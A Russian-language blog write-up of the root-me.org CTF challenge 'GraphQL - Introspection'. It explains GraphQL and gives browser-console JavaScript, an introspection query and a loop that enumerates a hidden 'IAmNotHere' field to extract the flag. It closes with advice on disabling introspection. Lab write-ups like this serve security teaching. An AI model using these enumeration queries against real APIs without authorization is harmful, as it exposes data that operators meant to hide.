Доброго времени суток. Прошлой ночью решал очередную интересную задачку на информационную безопасность web-серверов. Задачка с портала root-me.org, называется "GraphQL - Introspection". За решение задачки дают 20 баллов, ближе к среднему уровню.
Погружение в GraphQL
Задачка мне понравилась, я люблю в CTF узнавать что-то новое. Тема, которая рассматривается в этой задаче, весьма интересна с точки зрения безопасности. А речь у нас пойдёт про такую штуку как GraphQL (Graph Query Language).
GraphQL, как пишут на хабре, это последний писк IT-моды. Если вы занимаетесь информационной безопасностью, то хотя бы ознакомиться с данной технологией нужно.
GraphQL — язык запросов данных и язык манипулирования данными с открытым исходным кодом для построения веб ориентированных программных интерфейсов. GraphQL был разработан внутри компании Facebook в 2012 году, а в 2015 году он был выпущен публично.
Ничего сложного в этой технологии нет. Web-разработчики знают что такое REST и что такое API. Допустим, вы в своём проекте обращаетесь к API и получаете данные о пользователе по идентификатору. Вам возвращают фамилию, имя, пол, рост, вес, возраст, имя домашнего питомца, размер... эээ.. не важно. В общем, из всего этого добра вам нужно только имя. Так почему бы не попросить API вернуть вам только имя? Если у вас маленький проект, то в данной технологии особого смысла нет, но если у вас высоконагруженная система, то смысл резко появляется. По сути, GraphQL позволяет гонять по сети только те данные, которые вам нужны.
При передаче данных GraphQL использует простые GET или POST запросы. Вы отправляете JSON, в котором указываете нужный вам формат данных, в ответ тоже приходит JSON с теми данными, которые вы запросили. Получается некий языка запросов. Синтаксис примерно такой. Запрашиваем данные:
{
users {
name
}
}
Получаем в ответ:
{
"data": {
"users": [
{ "name": "Вася" },
{ "name": "Петя" },
{ "name": "Оля" }
]
}
}
Если нам нужно больше данных:
{
users {
id
name
surname
age
}
}
Получаем:
{
"data": {
"users": [
{ "id": 1, "name": "Вася", "age": 24 },
{ "id": 2, "name": "Петя", "age": 43 },
{ "id": 3, "name": "Оля", "age": 19 }
]
}
}
Просто и со вкусом.
Ссылки
https://graphql.org/learn/introspection
Решение
В задаче нам предлагают исследовать предложенную GraphQL схему и воспользоваться механизмом интроспекции (самоанализа). Система типизации GraphQL отличается строгостью, благодаря этому GraphQL может поддерживать механизм самоанализа (интроспекции). С помощью запросов самоанализа вы можете узнать о доступных полях и типах схемы GraphQL.
Интроспекция GraphQL – это встроенная возможность обнаруживать ресурсы, доступные в схеме GraphQL.
Допустим, разработчик накосячил и вывел в API вместе с именем пользователя ещё и его пароль... Во как. Если бы мы знали, что в поле password содержится пароль, то мы могли бы запросить это поле у API. Интроспекция как раз и позволяет нам узнать всю схему полей GraphQL и получить данные, которые разработчик хотел бы скрыть от основной массы пользователей.
Переходим на страницу задания:
http://challenge01.root-me.org:59077/
А тут взлетает ракета. Переключаем страну: табличка с ракетами меняется.
Посмотрим источник.
Всю работу делает скрипт:
<script>
function fetchData() {
const country = document.getElementById('country').value;
fetch('/rocketql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json',
},
body: JSON.stringify({ query: '{ rockets(country: "' + country + '") { name, country, is_active } }' })
})
.then(r => r.json())
.then(function(data) {
data = data['data']['rockets'];
tbody = document.getElementById('tbody');
tbody.innerHTML = '';
data.forEach(function(d) {
tbody.innerHTML += `
<tr>
<td>${d['name']}</td>
<td>${d['country']}</td>
<td>${d['is_active']}</td>
</tr>\n`;
});
});
}
const sub_button = document.getElementById('sub_button');
sub_button.addEventListener('click', fetchData);
</script>
Посмотрим куда скрипт отправляет запрос:
Всё понятно, нам нужно научиться отправлять нужные нам запросы. Модифицируем скрипт.
function internetLab(q) {
fetch('/rocketql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json',
},
body: JSON.stringify({ query: ''+ q +'' })
})
.then(r => r.json())
.then(function(data) {
data = data['data'];
console.log(data);
});
}
internetLab('{ rockets(country: "Russia") { name, country, is_active } }');
Выполняем прямо в консоли.
Мы научились делать запросы GraphQL.
Попробуем воспользоваться методом интроспекции и посмотреть структуру схемы GraphQL.
{__schema{types{name,fields{name}}}}
Так мы получим имена всех используемых типов:
{
"data": {
"__schema": {
"types": [
{
"name": "Rocket",
"fields": [
{
"name": "id"
},
{
"name": "name"
},
{
"name": "country"
},
{
"name": "is_active"
}
]
},
{
"name": "Int",
"fields": null
},
{
"name": "String",
"fields": null
},
{
"name": "IAmNotHere",
"fields": [
{
"name": "very_long_id"
},
{
"name": "very_long_value"
}
]
},
{
"name": "Query",
"fields": [
{
"name": "rockets"
},
{
"name": "IAmNotHere"
}
]
},
{
"name": "Boolean",
"fields": null
},
{
"name": "__Schema",
"fields": [
{
"name": "description"
},
{
"name": "types"
},
{
"name": "queryType"
},
{
"name": "mutationType"
},
{
"name": "subscriptionType"
},
{
"name": "directives"
}
]
},
{
"name": "__Type",
"fields": [
{
"name": "kind"
},
{
"name": "name"
},
{
"name": "description"
},
{
"name": "specifiedByUrl"
},
{
"name": "fields"
},
{
"name": "interfaces"
},
{
"name": "possibleTypes"
},
{
"name": "enumValues"
},
{
"name": "inputFields"
},
{
"name": "ofType"
}
]
},
{
"name": "__TypeKind",
"fields": null
},
{
"name": "__Field",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "args"
},
{
"name": "type"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__InputValue",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "type"
},
{
"name": "defaultValue"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__EnumValue",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "isDeprecated"
},
{
"name": "deprecationReason"
}
]
},
{
"name": "__Directive",
"fields": [
{
"name": "name"
},
{
"name": "description"
},
{
"name": "isRepeatable"
},
{
"name": "locations"
},
{
"name": "args"
}
]
},
{
"name": "__DirectiveLocation",
"fields": null
}
]
}
}
}
Какие мы нашли интересные поля:
{
"name": "Query",
"fields": [
{
"name": "rockets"
},
{
"name": "IAmNotHere"
}
]
}
Что ещё за "IAmNotHere" рядом с ракетами?
{
"name": "IAmNotHere",
"fields": [
{
"name": "very_long_id"
},
{
"name": "very_long_value"
}
]
}
Как раз-таки "Here" мы и полезем. Попробуем получить первый элемент этого массива:
{ IAmNotHere(very_long_id:1) { very_long_id, very_long_value } }
Получаем букву "n":
{"data":{"IAmNotHere":[{"very_long_id":1,"very_long_value":"n"}]}}
Попробуем получить второй элемент этого массива:
{ IAmNotHere(very_long_id:2) { very_long_id, very_long_value } }
Получаем букву "o":
{"data":{"IAmNotHere":[{"very_long_id":2,"very_long_value":"o"}]}}
Так мы долго провозимся. Напишем цикл:
function internetLab(q) {
fetch('/rocketql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json',
},
body: JSON.stringify({ query: '{ IAmNotHere(very_long_id:'+ q +') { very_long_id, very_long_value } }' })
})
.then(r => r.json())
.then(function(data) {
data = data['data']['IAmNotHere'];
data.forEach(function(d) {
console.log(d['very_long_value']);
});
});
}
let i = 1;
while (i < 20) {
internetLab(i);
i++;
}
Ееее, я думал, что придётся составлять флаг из букв, но он нашёлся в N-дцатом элементе массива. Валидируем:
Флаг подходит, зарабатываем 20 очков.
Безопасность
Прежде всего не стоит в схеме GraphQL передавать чувствительные данные и при этом включать систему самоанализа. Интроспекцию можно и отключить.
Следует понимать, что основанная на GET и POST запросах система уязвима всё к тем же методам атак. А то и так бывает:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql